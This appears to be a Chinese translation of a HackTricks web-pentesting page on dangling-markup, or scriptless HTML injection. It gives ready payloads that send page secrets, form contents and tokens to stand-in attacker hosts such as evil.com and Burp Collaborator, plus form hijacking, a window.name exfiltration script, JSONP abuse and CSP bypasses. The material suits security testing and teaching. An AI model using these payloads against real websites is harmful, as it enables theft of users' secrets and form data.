hacktricks/pentesting-web/dangling-markup-html-scriptless-injection
2024-01-02 22:21:01 +00:00
..
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-02 22:21:01 +00:00
ss-leaks.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:59:31 +00:00

Dangling Markup - HTML scriptless injection

从零到英雄学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式

概述

当发现HTML注入时,可以使用这种技术从用户那里提取信息。如果您找不到任何方法来利用 XSS,但您可以注入一些HTML标签,这非常有用。
如果某些秘密以明文保存在HTML中并且您想要从客户端泄露它,或者您想误导某些脚本执行,这也很有用。

这里评论的几种技术可以用来绕过一些内容安全策略通过意想不到的方式html标签、CSS、http-meta标签、表单、base等泄露信息。

主要应用

窃取明文秘密

如果您注入<img src='http://evil.com/log.cgi?,当页面加载时,受害者会将注入的img标签和代码中下一个引号之间的所有代码发送给您。如果秘密以某种方式位于那个代码块中,您将窃取它(您可以使用双引号做同样的事情,请查看哪个可能更有趣)。

如果img标签被禁止例如由于CSP您也可以使用<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

请注意,Chrome 会阻止包含“<”或“\n”的 HTTP URL,因此您可以尝试使用其他协议方案,如 "ftp"。

您还可以滥用 CSS @import(它会发送所有代码,直到找到一个 ";"

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

你也可以使用 <table

<table background='//your-collaborator-id.burpcollaborator.net?'

你也可以插入一个 <base 标签。所有信息将被发送,直到引号关闭,但这需要一些用户交互(用户必须点击某个链接,因为 base 标签会改变链接指向的域名):

<base target='        <--- Injected
steal me'<b>test</b>

窃取表单

<base href='http://evil.com/'>
然后,向路径发送数据的表单(如 `<form action='update_profile.php'>`)将数据发送到恶意域名。

### 窃取表单 2

设置一个表单头部:`<form action='http://evil.com/log_steal'>` 这将覆盖下一个表单头部,所有来自表单的数据都将发送给攻击者。

### 窃取表单 3

按钮可以通过 "formaction" 属性更改表单信息将要发送到的 URL
<button name=xss type=submit formaction='https://google.com'>I get consumed!

攻击者可以利用这个来窃取信息。

窃取明文秘密 2

使用前面提到的技术来窃取表单(注入一个新的表单头),你可以接着注入一个新的输入字段:

<input type='hidden' name='review_body' value="
此输入字段将包含 HTML 中其双引号之间的所有内容直到下一个双引号为止。此攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”相结合。

您可以通过注入一个表单和一个 `<option>` 标签做同样的事情。所有直到找到闭合的 `</option>` 之前的数据都将被发送:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

表单参数注入

您可以更改表单的路径并插入新值,以便执行意外的操作:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

通过 noscript 窃取明文秘密

<noscript></noscript> 是一个标签,如果浏览器不支持 javascript其内容将被解释您可以在 Chrome 中启用/禁用 Javascript地址为 chrome://settings/content/javascript)。

一种将网页内容从注入点到底部泄露到攻击者控制的站点的方法是注入以下内容:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

绕过CSP需要用户交互

从这篇portswiggers研究中,你可以了解到即使在最受CSP限制的环境中,通过一些用户交互,你仍然可以泄露数据。这次我们将使用以下payload

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

请注意,您将要求受害者点击一个链接,该链接将把他重定向到由您控制的有效载荷。还要注意,base标签内的target属性将包含HTML内容,直到下一个单引号。
这将导致如果点击了链接,window.name将是所有那些HTML内容。因此,由于您控制了受害者通过点击链接访问的页面,您可以访问那个**window.name泄露**那些数据:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

误导脚本工作流程1 - HTML命名空间攻击

在HTML中插入一个带有id的新标签该标签将覆盖下一个标签并且具有将影响脚本流程的值。在此示例中您正在选择将信息共享给谁

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

误导脚本工作流程 2 - 脚本命名空间攻击

通过插入HTML标签在javascript命名空间内创建变量。然后这个变量将影响应用程序的流程

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

滥用 JSONP

如果您发现一个 JSONP 接口,您可能能够用任意数据调用任意函数:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

或者您甚至可以尝试执行一些javascript

<script src='/search?q=a&call=alert(1)'></script>

Iframe 滥用

请注意,子文档即使是跨域的,也可以查看和设置父文档的 location 属性。 这意味着您可以通过在 iframe 中加载一些代码,使客户端访问任何其他页面,例如:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

这可以通过以下方式缓解:sandbox='allow-scripts allow-top-navigation'

iframe 也可以被滥用来从不同页面使用 iframe 的 name 属性泄露敏感信息。这是因为你可以创建一个 iframe它通过滥用 HTML 注入,使得敏感信息显示在 iframe 的 name 属性内,然后从初始 iframe 访问该名称并泄露它。

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

有关更多信息,请查看 https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta 滥用

您可以使用 meta http-equiv 执行几个操作,例如设置 Cookie<meta http-equiv="Set-Cookie" Content="SESSID=1"> 或执行重定向(在此例中为 5 秒):<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

可以通过关于 http-equivCSP避免这种情况(Content-Security-Policy: default-src 'self';Content-Security-Policy: http-equiv 'self';

新的 <portal HTML 标签

您可以在此处找到关于 <portal 标签可利用漏洞的非常有趣的研究
在撰写本文时,您需要在 chrome://flags/#enable-portals 中启用 Chrome 的 portal 标签,否则它将不起作用。

<portal src='https://attacker-server?

HTML 泄露

并非所有在 HTML 中泄露连接性的方法都适用于 Dangling Markup但有时它们可能有所帮助。在这里查看https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

这是 dangling markup 和 XS-Leaks 之间的混合。一方面,漏洞允许在与我们将要攻击的页面同源的页面中注入 HTML(但不是 JS。另一方面我们不会直接攻击我们可以注入 HTML 的页面,而是另一个页面

{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}

XS-Search/XS-Leaks

XS-Search 旨在通过滥用侧信道攻击泄露跨源信息。因此,它是一种与 Dangling Markup 不同的技术,然而,一些技术滥用了包括 HTML 标签的引入(有或没有 JS 执行),如 CSS 注入懒加载图片

{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}

参考资料

这里展示的所有技术和更多可以在以下链接中查看更多细节:

{% embed url="http://lcamtuf.coredump.cx/postxss/" %}

可以在这里找到其他可以滥用的 HTML 标签:

{% embed url="http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/" %}

更多信息:

{% embed url="https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup" %}

通过 htARTE (HackTricks AWS Red Team Expert) 从零开始学习 AWS 黑客攻击!

支持 HackTricks 的其他方式: